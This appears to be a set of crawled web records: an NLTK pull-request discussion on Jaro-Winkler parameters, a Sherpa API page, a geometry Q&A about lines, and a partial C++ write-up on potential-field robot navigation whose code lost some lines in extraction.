jaro_similarity(s1, s2) w = jaro_winkler_similarity(s1, s2) p = 0.1 # Keep this constant l_ = 4 print(j + (l_*0.1*(1-j))) l_ = 5 print(j + (l_*0.1*(1-j))) # Now it matches the Table 5 values `````` [out]: ``````0.96 0.9666666666666666 `````` Similarly: ```s1 = \"dixon\" s2 = \"dickson\" j = jaro_similarity(s1, s2) w = jaro_winkler_similarity(s1, s2) p = 0.1 # Keep this constant l_ = 2 print(j + (l_*0.1*(1-j))) l_ = 3 print(j + (l_*0.1*(1-j))) # Now it matches the Table 5 values``` [out]: ``````0.8323809523809523 0.8533333333333333 `````` It's possible that `max_l` default is not 4.\n\n### alvations commented Jul 3, 2018\n\n I might be wrong about the `l_` and `p`. Looking at the formula: ``````jaro_winkler_sim = jaro_sim + ( l * p * (1 - jaro_sim) ) `````` It boils down to: ``````y = x + m * (1-x) `````` And to assure that y ranges between `[0, 1]`, it looks like the we need the condition `0.0 <= m <=1.0`. That means that `l * p` are not exactly something that can be independent of each other in the Jaro Winkler's formula. The default value of `p=0.1` and setting the max of `l` at 4 constrains the scaling factor of the `1-x` so it worked but when `l*p` is more than 1.0, we get: ``````>>> s1 = \"billy\" >>> s2 = \"bill\" >>> jaro_winkler_similarity(s1, s2, p=0.3, max_l=4) # Output > 1.0 1.0133333333333334 `````` Similarly there's no real need for `max_l=4`, it can be higher as long as the p factor product with it is less than or equals to 1.0, e.g. ``````>>> s1 = \"billy\" >>> s2 = \"bill\" >>> jaro_winkler_similarity(s1, s2, p=0.05, max_l=7) 0.9466666666666665 `````` After looking at the Winkler (1990) paper, it looks like the parameters in the experiments were ambiguously set. So I think the p variable hacks you've put in is okay. Let me try to clean it up a little and add an assert.\n\n``` Finalized JR similarity implementation. ```\n``` fc4ae80 ```\n`Cleaner loop to check of `l` prefix size and added warning to unexpected output`\n``` Fixed typo in warning checks ```\n``` d526edf ```\n\n### alvations commented Jul 3, 2018\n\n @53X there's still 3 examples that doesn't match up with the `p_factors` changes: `BROOK HALLOW` and `BROOK HLLW` `DECATUR` and `DECATIR` `SHACKLEFORD` and `SHACKELFORD`\n\n``` ALL ERRORS RESOLVED ```\n``` 2e44f99 ```\n l_ += 1 else: break if l_ == max_l: break if l_ > max_l:\n\n###",
null,
"53X Jul 3, 2018\n\nThe loop should terminate and stop counting when` l_` has reached its maximum bound ( `max_l`). Thus this would be the better option as` l_` shouldn't go beyond `max_l` :\n\n``````\nif l_ == max_l:\nbreak\n``````\n\n###",
null,
"53X Jul 3, 2018\n\n@alvations , please review this piece of code\n\n### 53X commented Jul 3, 2018\n\n The formula for the jaro_winkler_similarity goes as follows: `jaro_winkler_similarity = jaro_sim + l_ * p * (1-jaro_sim)` . Thus we can deduce that `l_ * p <=1` is necessary (not `max_l * p <=1`) such that `jaro_winkler_distance <=1`. Quoting from the comments in the code of this PR ( see `jaro_winkler_similarity` function in the code): l_ is the length of common prefix at the start of the string.This implementation provides an upperbound for the l_ value.A common value of this upperbound is 4. `max_l` is this upperbound which is set to its common value ,4 by default. It is worth noting that the value of `l_` is lesser to `max_l = 100 (say)` in the case of `(TANYA, TONYA)` where the value of `p=0.1` and `l_ = 1`. I have put a new doc-test case separately that explains the same and outputs the same value of `jaro_winkler_similarity('TANYA', 'TONYA', p=0.1, max_l=4)` and `jaro_winkler_similarity('TANYA', 'TONYA', p=0.1, max_l=100)` as `0.880` . Thus `0<= jaro_winkler_similarity <=1` depends not on `max_l * p <=1` but on` l_ * p <=1` One more reason as to why `max_l =4` by default is that we need `l_ * p <= 1` for the similarity value to lie between 0 and 1. Also the max value that `p` can take is `0.25`. Thus in such cases where` p =0.25` to maintain the condition `l_ * p <= 1`, limiting value of `l_` is 4. `````` if not 0 <= max_l * p <= 1: warnings.warn(str(\"The product of `max_l * p` doesn't fall between [0,1].\" \"Jaro-Winkler similarity will not be between 0 and 1.\") ) `````` This piece of code that generates the warning is logical as there might be cases where `l_` becomes equal to `max_l` such that `l_ * p >1` . In light of this we might change the warning to be the following : ``````if not 0 <= max_l * p <= 1: warnings.warn(str(\"The product `l_ * p` might not fall between [0,1].\" \"Jaro-Winkler similarity might not be between 0 and 1.\") ) `````` Also instead of this code that calculates the prefix length,` l_` : ``````for s1_i, s2_i in zip(s1, s2): if s1_i == s2_i: l_ += 1 else: break if l_ > max_l: break `````` we should use this one : ``````for s1_i, s2_i in zip(s1, s2): if s1_i == s2_i: l_ += 1 else: break if l_ == max_l: break `````` This is because the loop should terminate as soon as l_ reaches it's upperbound (`max_l`) (if at all it reaches the upperbound) .\n\n### alvations commented Jul 3, 2018\n\n @53X Thanks for the explanation on the `if l_ == max_l:`! Regarding the warning, the `max_l` is a user changeable parameter while `l_` is the internal and variable count of the longest prefix length. Since `max_l` subsumes `l_` checking for `max_l * p <=1` effectively also checks for `l_ * p <=1`, the warning to the user should be something under the user's control.\n\n### alvations commented Jul 3, 2018 • edited\n\n @53X just 3 small comments pending in the code review and some light changes and the PR will look good to merge! Sorry that the process took a while because of the back and forth regarding the algorithm and the regression tests.\n\n warnings.warn(str(\"The product of `max_l * p` doesn't fall between [0,1].\" \"Jaro-Winkler similarity will not be between 0 and 1.\") ) warnings.warn(str(\"The product `l_ * p` might not fall between [0,1].\"\n\n###",
null,
"alvations Jul 3, 2018\n\nI think it's okay to use `max_l` here. See comment in PR.\n\n @@ -260,80 +260,90 @@ def jaro_winkler_similarity(s1, s2, p=0.1, max_l=4): American Statistical Association: 354-359. such that: jaro_winkler_sim = jaro_sim + ( l * p * (1 - jaro_sim) ) jaro_winkler_sim = jaro_sim + ( l_ * p * (1 - jaro_sim) )\n\n###",
null,
"alvations Jul 3, 2018\n\nI think it's cleaner to use `l` here to be clearer when communicating the formula.\n\n###",
null,
"alvations Jul 3, 2018\n\nI think it's okay to use `l` in the code too instead of `l_` since the function is locally scoped, no global variable.\n\n``` FINALIZING THINGS ```\n``` 25123f3 ```\n\n### alvations commented Jul 4, 2018\n\n @53X Thank you for the updates! Now it LGTM. IMO, you've contributed to the best documented metric in the `nltk.metrics.distance.py` and it comes with doctest too =) Kudos, to the amount of work done to document and validate the implementation!\n\n### 53X commented Jul 4, 2018\n\n @alvations , @stevenbird can this PR be merged now and the corresponding issue be closed?\n\n### stevenbird commented Jul 10, 2018\n\n Thanks for an excellent contribution @53X. Thanks for your careful reviewing work @alvations.\n\nadded a commit that referenced this pull request Aug 15, 2018\n``` Revert \"Merge pull request #2044 from 53X/develop\" ```\n``` dfd4b8f ```\n```This reverts commit ecced11, reversing"
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https://sherpa.readthedocs.io/en/4.14.0/ui/api/sherpa.astro.ui.set_bkg.html | [
"# set_bkg¶\n\nsherpa.astro.ui.set_bkg(id, bkg=None, bkg_id=None)\n\nSet the background for a PHA data set.\n\nThe background can either be fit with a model - using `set_bkg_model` - or removed from the data before fitting, using `subtract`.\n\nParameters\n\n`get_bkg`\n\nReturn the background for a PHA data set.\n\n`load_bkg`\n\nLoad the background from a file and add it to a PHA data set.\n\n`load_pha`\n\nLoad a file as a PHA data set.\n\n`set_bkg_model`\n\nSet the background model expression for a data set.\n\n`subtract`\n\nSubtract the background estimate from a data set.\n\n`unpack_pha`\n\nCreate a PHA data structure.\n\nNotes\n\nThe function does not follow the normal Python standards for parameter use, since it is designed for easy interactive use. When called with a single un-named argument, it is taken to be the `bkg` parameter. If given two un-named arguments, then they are interpreted as the `id` and `bkg` parameters, respectively. The remaining parameters are expected to be given as named arguments.\n\nIf the background has no grouping of quality arrays then they are copied from the source region. If the background has no response information (ARF or RMF) then the response is copied from the source region.\n\nExamples\n\nCopy the background from the default data set to data set 2:\n\n```>>> bkg1 = get_bkg()\n>>> set_bkg(2, bkg1)\n```\n\nRead in the PHA data from the file ‘bkg.pi’ and set it as the second background component of data set “core”:\n\n```>>> bkg = unpack_pha('bkg.pi')\n>>> set_bkg('core', bkg, bkg_id=2)\n```"
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.7545192,"math_prob":0.77507675,"size":1792,"snap":"2022-27-2022-33","text_gpt3_token_len":460,"char_repetition_ratio":0.17225951,"word_repetition_ratio":0.047138046,"special_character_ratio":0.2327009,"punctuation_ratio":0.116959065,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9657091,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-06-27T08:54:57Z\",\"WARC-Record-ID\":\"<urn:uuid:4613994c-9049-41e2-8f63-bac8012ce49a>\",\"Content-Length\":\"68235\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:5d67a9c6-da4c-49cf-8f74-1f118ca5d4c1>\",\"WARC-Concurrent-To\":\"<urn:uuid:7bcfaece-d596-4691-a58f-d6d06ac44916>\",\"WARC-IP-Address\":\"104.17.33.82\",\"WARC-Target-URI\":\"https://sherpa.readthedocs.io/en/4.14.0/ui/api/sherpa.astro.ui.set_bkg.html\",\"WARC-Payload-Digest\":\"sha1:IZR764YM67CGTPAN7MV2CFI4SU2WEPRI\",\"WARC-Block-Digest\":\"sha1:VLQDB3WLDYVH3DMQKW27GJQIFKYCGIHO\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-27/CC-MAIN-2022-27_segments_1656103329963.19_warc_CC-MAIN-20220627073417-20220627103417-00488.warc.gz\"}"} |
https://virtualplaneticeland.com/2020/11/26/how-do-you-represent-a-line/ | [
"",
null,
"# How Do You Represent A Line?\n\n## What is called line segment?\n\nIn geometry, a line segment is a part of a line that is bounded by two distinct end points, and contains every point on the line between its endpoints.\n\nA closed line segment includes both endpoints, while an open line segment excludes both endpoints; a half-open line segment includes exactly one of the endpoints..\n\n## How do you define a line?\n\nIn geometry, a line can be defined as a straight one- dimensional figure that has no thickness and extends endlessly in both directions. It is often described as the shortest distance between any two points. Here, P and Q are points on the line.\n\n## What is a real life example of a line?\n\nReal-world examples of line segments are a pencil, a baseball bat, the cord to your cell phone charger, the edge of a table, etc. Think of a real-life quadrilateral, like a chessboard; it is made of four line segments.\n\n## What is difference between Ray and line?\n\nStudent: So, what is the difference between a line and a ray? Mentor: A line goes on to infinity in both directions, but a ray stops on one end. If you cut a line in half, you make two rays. … A line segment is part of a line that has two endpoints.\n\n## What are the subsets of a line?\n\nThe subsets of a line are the segments, the rays, and the points. Points are subsets of a line that follow the points on a graph through which line runs.\n\n## Are there two endpoints?\n\nA line segment is a part of a line that has two defined endpoints. A line segment represents a collection of points inside the endpoints and it is named by its endpoints. A ray is a line that only has one defined endpoint and one side that extends endlessly away from the endpoint.\n\n## How do you represent a line in math?\n\nWhen we draw lines in geometry, we use an arrow at each end to show that it extends infinitely.A line can be named either using two points on the line (for example, ↔AB ) or simply by a letter, usually lowercase (for example, line m ).A segment is named by its two endpoints, for example, ¯AB .More items…\n\n## How are lines denoted?\n\nA line segment is denoted by two end points showing the definite length. A line is always denoted by two arrows showing its indefinite length. Therefore, AC is a line. … When the two end points on the line are defined only then it can be measured.\n\n## What are the 7 types of lines?\n\nThere are many types of lines: thick, thin, horizontal, vertical, zigzag, diagonal, curly, curved, spiral, etc. and are often very expressive.\n\n## What is an angle and its types?\n\nThe different types of angles based on their measurements are: Acute Angle – An angle less than 90 degrees. … Obtuse Angle – An angle more than 90 degrees and less than 180 degrees. Straight Angle – An angle that is exactly 180 degrees. Reflex Angle – An angle greater than 180 degrees and less than 360 degrees."
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"https://mc.yandex.ru/watch/69432118",
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.9601257,"math_prob":0.97186834,"size":3126,"snap":"2021-21-2021-25","text_gpt3_token_len":708,"char_repetition_ratio":0.1796925,"word_repetition_ratio":0.10998308,"special_character_ratio":0.23224568,"punctuation_ratio":0.13023952,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99045485,"pos_list":[0,1,2],"im_url_duplicate_count":[null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-05-07T16:14:53Z\",\"WARC-Record-ID\":\"<urn:uuid:b8ee9d34-480d-49d8-8ae5-03531e4c5e54>\",\"Content-Length\":\"31102\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:39f7a3ff-5893-4e1e-8f0a-5496a3e2aa16>\",\"WARC-Concurrent-To\":\"<urn:uuid:b04e477d-5fc5-4c24-a23d-1cfeec8784a8>\",\"WARC-IP-Address\":\"45.130.40.25\",\"WARC-Target-URI\":\"https://virtualplaneticeland.com/2020/11/26/how-do-you-represent-a-line/\",\"WARC-Payload-Digest\":\"sha1:ZSN5PY4DZLS6IXYCIZMSI2LOJUDM5N3I\",\"WARC-Block-Digest\":\"sha1:XE5OOHIELQHZI4JE5VHH3OAUXIINHP4V\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-21/CC-MAIN-2021-21_segments_1620243988796.88_warc_CC-MAIN-20210507150814-20210507180814-00397.warc.gz\"}"} |
http://ttech.click/potential_field.html | [
"# Potential Fields\n\n#### 1. Provided Tunable Parameters\n\nThe following parameters were provided in the given code:\n\n{Parameters 1}\n// Tunable motion controller parameters\nconst static double FORWARD_SPEED_MPS = 2.0;\nconst static double ROTATE_SPEED_RADPS = M_PI;\n\n\nSee also sections 4, 5, 7, 8, 11, 13, 15 and 16\n\nThis code is used in section 18\n\nFORWARD_SPEED_MPS defines the forward speed of the robot in meters per second. ROTATE_SPEED_RADPS defines the rotation speed of the robot in radians per second.\n\n#### 2. Physical Vectors\n\n{Structs 2}\n{Vector Struct, 2}\n\n\nThis code is used in section 18\n\nThe following struct provides a data structure for vectors in two-dimensional space. Simple assignment and operator-assignment methods for 2D vectors will be useful later for calculating total force of the potential fields and generating random forces, and so are also included. They are so close to boilerplate that they are unlabelled.\n\n{Vector Struct 2}\nstruct Vector2 {\ndouble x;\ndouble y;\n\n};\n\n\nThis code is used in section 2\n\nVector2 &operator=(const Vector2 &v) {x=v.x; y=v.y; return *this;}\nVector2 &operator+=(const Vector2 &v) {x+=v.x; y+=v.y; return *this;}\nconst Vector2 operator+(const Vector2 &v) {return Vector2(*this)+=v;}\nVector2 &operator-=(const Vector2 &v) {x-=v.x; y-=v.y; return *this;}\nconst Vector2 operator-(const Vector2 &v) {return Vector2(*this)-=v;}\nVector2 &operator=(const double &a) {x=y=a; return *this;}\nVector2 &operator*=(const double &a) {x*=a; y*=a; return *this;}\nconst Vector2 operator*(const double &a) {return Vector2(*this)*=a;}\nbool operator==(const Vector2 &v) {return x==v.x && y==v.y;}\nbool operator!=(const Vector2 &v) {return !(*this == v);}\n\n\nThis code is used in section 2\n\n#### 3. Potential Fields Introduction\n\nPotential fields are composed of attractive and repulsive forces. The formulas for the attractive forces are different for leaders and followers, whereas the formula for the repulsive forces is the same for all robots.\n\n{Methods 4}\n{Leader Attraction Method, 4}\n\n\nSee also sections 5, 6, 7, 8, 10, 11, 12, 13, 14, 15, 16 and 17\n\nThis code is used in section 18\n\nFor the leader, the attractive force is\n\n\\|F_a\\| = \\gamma \\cdot \\|S\\|^2\n\n\\angle F_a = \\angle S\n\nS = X_\\text{goal} - X_\\text{robot}\n\nwhere\n\n• F_a is the attractive force vector.\n• \\gamma is the attraction constant.\n• X_\\text{goal} is the position vector of the goal.\n• X_\\text{robot} is the position vector of the robot.\n\nThis can be converted to rectangular coordinates.\n\n\\begin{array}{rcl} F_{a,x} & = & \\|F_a\\| \\cdot \\cos(\\angle F_a) \\\\[0.5em] ~ & = & \\gamma \\cdot \\|S\\|^2 \\cdot \\cos(\\angle S) \\\\[0.5em] ~ & = & \\gamma \\cdot \\|S\\| \\cdot S_x \\\\[0.5em] ~ & = & k_a \\cdot S_x \\end{array}\n\n\\begin{array}{rcl} F_{a,y} & = & \\|F_a\\| \\cdot \\sin(\\angle F_a) \\\\[0.5em] ~ & = & k_a \\cdot S_y \\end{array}\n\nk_a = \\gamma \\cdot \\|S\\|\n\nsince\n\n\\|V\\| = \\sqrt{V_x^2 + V_y^2}\n\\angle V = \\text{atan2}(V_y, V_x)\n\n\\cos(\\angle V) = {V_x \\over \\|V\\|}\n\\sin(\\angle V) = {V_y \\over \\|V\\|}\n\nThis combined calculation and conversion is far more efficient than doing them separately (the vector would have needed to be converted for addition anyway). This is easily implemented in C++.\n\n/*\ngamma: attraction coefficient\ngx, gy: position of the goal\nrx, ry: position of the robot\n*/\ndouble gx, double gy, double rx, double ry) {\n// Create the return struct\nVector2 fa;\n// Get the distance to the goal\ndouble sx = gx - rx;\ndouble sy = gy - ry;\n// Calculate the vector conversion factor\ndouble ka = gamma * sqrt(sx*sx + sy*sy);\n// Calculate the vector of the force\nfa.x = ka * sx;\nfa.y = ka * sy;\nreturn fa;\n}\n\n\nThis code is used in section 4\n\nsqrt is from the cmath header (as are cos, sin, atan2, and M_PI), so that is included.\n\n#include <cmath>\n\n\nThis code is used in section 18\n\nThe method is overloaded to use values from the object.\n\nVector2 getLeaderAttraction() {\nPose &robot = pose[ID];\ngoalX, goalY, robot.x, robot.y);\n}\n\n\nThis code is used in section 4\n\nThe attraction constant \\gamma is a const parameter.\n\n{Parameters 1} +=\n// Parameters added for leader attraction\nconst static double ATTRACTION_CONSTANT_GAMMA = 1.0;\n\n\nThis code is used in section 18\n\nWith compiler optimization, this value will never need to be copied as an argument, since it will be inlined into the function (further discussion can be found here).\n\n#### 5. Follower Attractive Force\n\n{Methods 4} +=\n{Follower Attraction Method, 5}\n\n\nSee also sections 6, 7, 8, 10, 11, 12, 13, 14, 15, 16 and 17\n\nThis code is used in section 18\n\nFor followers, the attractive force is\n\n\\|F_a^j\\|=\\begin{cases} -{\\alpha \\over d_{j \\to 0}^2}, & \\text{if }d_{j \\to 0} < d_\\text{safe} \\\\ 0, & \\text{if }d_\\text{safe} < d_{j \\to 0} < d_\\text{far} \\\\ \\gamma \\cdot d_{j \\to 0}^2, & \\text{otherwise} \\end{cases}\n\n\\angle F_a^j = \\angle S_{j \\to 0}\n\nd_{j \\to 0} = ||S_{j \\to 0}|| - (r_0 + r_j)\n\nS_{j \\to 0} = X_0 - X_j\n\nwhere\n\n• F_a^j is the attractive force vector for robot j.\n• \\alpha is the repulsion constant.\n• X_n is the position vector of robot n.\n• r_n is the radius of robot n.\n• d_\\text{safe} is the closest safe distance between a robot and obstacle.\n• d_\\text{far} is the distance that is \"too far\" from the leader.\n• \\gamma is the attraction constant.\n\nNote that {\\alpha \\over d_{j \\to 0}^2} has been made negative. This is because it does not make sense to be attracted to the leader when you are dangerously close to the leader. This does not actually affect the magnitude, instead reversing the angle, but the negation on the magnitude formula is both notationally simpler and closer to the actual implementation.\n\nThis can be converted to rectangular coordinates.\n\n\\begin{array}{rcl} F_{a,x}^j & = & \\|F_a^j\\| \\cdot \\cos(\\angle F_a^j) \\\\[0.5em] ~ & = & k_a^j \\cdot S_{j \\to 0}^x \\end{array}\n\n\\begin{array}{rcl} F_{a,y}^j & = & \\|F_a^j\\| \\cdot \\sin(\\angle F_a^j) \\\\[0.5em] ~ & = & k_a^j \\cdot S_{j \\to 0}^y \\end{array}\n\nk_a^j = \\begin{cases} -{\\alpha \\over d_{j \\to 0}^2 \\cdot \\|S_{j \\to 0}\\|}, & \\text{if }d_{j \\to 0} < d_\\text{safe} \\\\ 0, & \\text{if }d_\\text{safe} < d_{j \\to 0} < d_\\text{far} \\\\ {\\gamma \\cdot d_{j \\to 0}^2 \\over \\|S_{j \\to 0}\\|}, & \\text{otherwise} \\end{cases}\n\nIn C++:\n\n{Follower Attraction Method 5}\n/*\nalpha: repulsion coefficient\ngamma: attraction coefficient\nx0x, x0y: position of robot 0\nxjx, xjy: position of robot j\ndSafe: safe distance\ndFar: \"too far\" distance\n*/\nVector2 getFollowerAttraction(double alpha, double gamma,\ndouble x0x, double x0y, double xjx, double xjy, double r0, double rj,\ndouble dSafe, double dFar) {\n// Create the return struct\nVector2 fa;\n// Calculate the distance between the center of robot j to 0\ndouble sx = x0x - xjx;\ndouble sy = x0y - xjy;\ndouble sm = sqrt(sx*sx + sy*sy);\n// Subtract the radii of the robots\ndouble d = sm - (r0 + rj);\n// Calculate the vector conversion factor\ndouble ka;\nif (d < dSafe) {\nka = -alpha / (d*d * sm);\n} else if (d < dFar) {\nfa.x = 0;\nfa.y = 0;\nreturn fa;\n} else {\nka = gamma * d*d / sm;\n}\n// Calculate the vector of the force\nfa.x = ka * sx;\nfa.y = ka * sy;\nreturn fa;\n}\n\n\nThis code is used in section 5\n\nOverloaded to use values from the object:\n\n{Follower Attraction Method 5} +=\nVector2 getFollowerAttraction() {\nPose &x0 = pose;\nPose &xj = pose[ID];\nreturn getFollowerAttraction(REPULSION_CONSTANT_ALPHA,\nATTRACTION_CONSTANT_GAMMA, x0.x, x0.y, xj.x, xj.y, ROBOT_RADIUS_M,\n}\n\n\nThis code is used in section 5\n\nThe repulsion constant \\alpha, the attraction constant \\gamma, the robot radius, and the safe and far distances are all const parameters. \\gamma has already been defined in \"Leader Attractive Force\" above.\n\n{Parameters 1} +=\n// Parameters added for follower attraction\nconst static double REPULSION_CONSTANT_ALPHA = 1.0;\nconst static double ROBOT_RADIUS_M = 0.3;\nconst static double SAFE_DISTANCE_M = 0.75;\nconst static double FAR_DISTANCE_M = 4.0;\n\n\nThis code is used in section 18\n\n#### 6. General Attractive Force\n\n{Methods 4} +=\n{Attraction Method, 6}\n\n\nSee also sections 5, 7, 8, 10, 11, 12, 13, 14, 15, 16 and 17\n\nThis code is used in section 18\n\nNow that there are algorithms for both the leader and follower attractive forces, a single method that will select which algorithm to use and return the result can be created.\n\n{Attraction Method 6}\nVector2 getAttraction() {\nif (ID == 0) {\n} else {\nreturn getFollowerAttraction();\n}\n}\n\n\nThis code is used in section 6\n\n#### 7. Laser Repulsive Force\n\n{Methods 4} +=\n{Repulsion Method, 7}\n\n\nSee also sections 5, 6, 8, 10, 11, 12, 13, 14, 15, 16 and 17\n\nThis code is used in section 18\n\nThe repulsive force is\n\n\\|F_r^i\\|=\\begin{cases} {\\alpha \\over (d_i - d_\\text{safe})^2}, & \\text{if }d_\\text{safe} + \\epsilon < d_i < \\beta \\\\[1em] {\\alpha \\over \\epsilon^2}, & \\text{if }d_i < d_\\text{safe} + \\epsilon \\\\ 0, & \\text{otherwise} \\end{cases}\n\n\\angle F_r^i = \\angle S_i\n\nd_i = \\|S_i\\|\n\nwhere\n\n• F_r^i is the repulsive force for laser range reading i.\n• \\alpha is the repulsion constant.\n• S_i is the vector from the remote end of the laser reading to the sensor.\n• d_\\text{safe} is the closest safe distance between a robot and obstacle.\n• \\epsilon is the error constant.\n• \\beta is the relevance distance.\n\nRectangular coordinates:\n\n\\begin{array}{rcl} F_{r,x}^i & = & \\|F_r^i\\| \\cdot \\cos(\\angle F_r^i) \\\\[0.5em] ~ & = & \\|F_r^i\\| \\cdot \\cos(\\angle S_i) \\end{array}\n\n\\begin{array}{rcl} F_{r,y}^i & = & \\|F_r^i\\| \\cdot \\sin(\\angle F_r^i) \\\\[0.5em] ~ & = & \\|F_r^i\\| \\cdot \\sin(\\angle S_i) \\end{array}\n\nThis conversion may seem less simplified than those for the attractive forces, but this is because S_i is obtained in polar coordinates, so this formulation is simpler. This is easily implemented in C++.\n\n{Repulsion Method 7}\n/*\nalpha: repulsion coefficient\nsim, siTheta: vector from end of laser (on wall) to sensor\ndSafe: safe distance\nepsilon: error constant\nbeta: relevance distance\n*/\nVector2 getRepulsion(double alpha, double sim, double siTheta, double dSafe,\ndouble epsilon, double beta) {\n// Create the return struct\nVector2 fr;\n// Calculate the magnitude of the force\ndouble frm;\nif (sim < dSafe + epsilon) {\nfrm = alpha / (epsilon*epsilon);\n} else if (sim < beta) {\ndouble di_ds = sim - dSafe;\nfrm = alpha / (di_ds*di_ds);\n} else {\nfr.x = 0;\nfr.y = 0;\nreturn fr;\n}\nfr.x = frm * cos(siTheta);\nfr.y = frm * sin(siTheta);\nreturn fr;\n}\n\n\nThis code is used in section 7\n\nOverloaded to use values from the object:\n\n{Repulsion Method 7} +=\n/*\ni: index of the laser range reading\n*/\nVector2 getRepulsion(size_t i) {\n// Get the magnitude\nfloat m = (*laserRanges)[i];\n// Calculate the angle\ndouble theta = laserAngleMin + i*laserAngleIncrement;\n// Calculate the vector\nreturn getRepulsion(REPULSION_CONSTANT_ALPHA, m, theta,\nSAFE_DISTANCE_M, ERROR_CONSTANT_EPSILON_M, RELEVANCE_DISTANCE_BETA_M);\n}\n\n\nThis code is used in section 7\n\nObtaining the list of vector readings will be discussed in the next section, but for now, the member variables should be added.\n\n{Laser Variables 7}\nconst std::vector<float> *laserRanges;\ndouble laserAngleMin;\ndouble laserAngleIncrement;\n\n\nThis code is used in section 9\n\nError constant \\epsilon and relevance distance \\beta need to be added to the const parameter list.\n\n{Parameters 1} +=\n// Parameters added for repulsion\nconst static double ERROR_CONSTANT_EPSILON_M = 0.03125;\nconst static double RELEVANCE_DISTANCE_BETA_M = 8.0;\n\n\nThis code is used in section 18\n\nA method can be created for determining the total force, but to do so, the laser data needs to be parsed, and for the followers, the location of the leader on the scans needs to be determined so that the repulsive force will not apply to the leader. Thus the laser scan data must be handled before a total repulsion method can be designed.\n\n#### 8. Other Repulsion\n\n{Methods 4} +=\n{Other Repulsion Patch Method, 8}\n\n\nSee also sections 5, 6, 7, 10, 11, 12, 13, 14, 15, 16 and 17\n\nThis code is used in section 18\n\nFix\n\nUnfortunately, it seems that the other robots are not picked up by the laser as intended. To solve this problem, an extra repulsive force will be added for the other (non-leader) robots. The existing repulsion algorithm can be used for this. All that is required is that a polar vector be constructed from the other robot to this node's robot. If this robot is m and the other is n, then this is\n\nS_{n \\to m} = X_m - X_n\n\nIn C++:\n\n{Other Repulsion Patch Method 8}\nVector2 getOtherRepulsion() {\n// Create the return vector\nVector2 fp;\n// Add all the repulsive forces\nPose &m = pose[ID];\nfor (int i = 1; i < numRobots; ++i) {\nif (i == ID) continue;\nPose &n = pose[i];\ndouble sx = m.x - n.x;\ndouble sy = m.y - n.y;\nfp += getRepulsion(REPULSION_CONSTANT_ALPHA, sqrt(sx*sx + sy*sy),\natan2(sy, sx), SAFE_DISTANCE_M, ERROR_CONSTANT_EPSILON_M,\nRELEVANCE_DISTANCE_BETA_M);\n}\n// Apply the factor\ndouble factor = OTHER_REPULSION_FACTOR;\n// Got a weird linker error if this wasn't put in a local variable\nfp *= factor;\nreturn fp;\n}\n\n\nThis code is used in section 8\n\n{Parameters 1} +=\n// Other Repulsion\nconst static double OTHER_REPULSION_FACTOR = 2.0;\n\n\nThis code is used in section 18\n\n#### 9. Parsing Laser Scans\n\n{Member Variables 9}\n{Laser Variables, 7}\n\n\nThis code is used in section 18\n\nThe first of the TODO-marked sections was the laser scan callback. The provided TODO comment was:\n\nTODO: parse laser data (see http://www.ros.org/doc/api/sensor_msgs/html/msg/LaserScan.html)\n\nThere are two things to be done here: parsing the messages, and converting the relative angles into absolute angles — i.e. 0 along the positive x-axis, increasing counterclockwise, referring to the angle of the vector from the endpoint of the laser along the obstacle back to the sensor (the reverse of what the message angles refer to). This has a simple conversion formula.\n\n\\angle S_i = \\theta + \\phi + \\pi\n\nwhere\n\n• S_i is the vector from the obstacle laser endpoint to the sensor.\n• \\theta is the heading of the robot.\n• \\phi is the relative (to the heading) angle of the laser reading.\n\nThis can be implemented as such:\n\n{Laser Callback 9}\nlaserAngleMin = pose[ID].heading + msg->angle_min + M_PI;\nlaserAngleIncrement = msg->angle_increment;\n\n\nThis code is used in section 18\n\nThese two values can be used to determine the absolute angle for any range reading. To avoid unnecessary memory copying, only a pointer to the range vector will be copied.\n\n{Laser Callback 9} +=\nlaserRanges = &msg->ranges;\n\n\nThis code is used in section 18\n\nThis does bring with it the risk that the vector will be deleted. Thankfully, the message is passed using a smart pointer, so keeping a reference will prevent it from being destroyed. Whenever the message is replaced, the old message will be deleted, and the new one will be preserved (that is, until the next message).\n\n{Laser Variables 7} +=\nsensor_msgs::LaserScan::ConstPtr laserMessage;\n\n\nThis code is used in section 9\n\n{Laser Callback 9} +=\nlaserMessage = msg;\n\n\nThis code is used in section 18\n\n{Structs 2} +=\n{Leader Struct, 10}\n\n\nThis code is used in section 18\n\nThe followers need to remove the leader from their laser scan data. To do this, they need to determine where in the scan the leader is. Two methods can be used to do the filtering: one to be called once per spin, to do the pre-calculations, and another to be called for each point on the laser scan.\n\n{Methods 4} +=\n{Locate Leader Method, 10}\n\n\nSee also sections 5, 6, 7, 8, 11, 12, 13, 14, 15, 16 and 17\n\nThis code is used in section 18\n\nAs output from the location method and input to the checking method, there needs to be a struct for holding the values.\n\nstruct Leader {\ndouble distanceThreshold;\ndouble thetaMin;\ndouble thetaMax;\n};\n\n\nThis code is used in section 10\n\nThe checking method checks if the angle of the reading is within the section of the scan that contains the leader, and then compares the distances to check if the reading is actually an obstacle or not. If the reading is closer than the leader, then there is an obstacle between the leader and the follower, and the reading should not be ignored.\n\n/*\nlaserAngle: absolute angle of the reading\n*/\nfloat laserRange, double laserAngle) {\n}\n\n\nThis code is used in section 10\n\n{Check for Leader Method 10} +=\nbool checkForLeader(const Leader &leader, size_t i) {\n// Get the magnitude\nfloat m = (*laserRanges)[i];\n// Calculate the angle\ndouble theta = laserAngleMin + i*laserAngleIncrement;\n}\n\n\nThis code is used in section 10\n\nTo locate the leader, the formulas are:\n\nd_\\text{threshold} = \\|S_{j \\to 0}\\| - (r_0 + \\epsilon)\n\n\\theta_\\text{min} = \\angle S_{j \\to 0} - \\Delta \\theta\n\n\\theta_\\text{max} = \\angle S_{j \\to 0} + \\Delta \\theta\n\n\\Delta \\theta = |~\\text{atan2}(r_0, 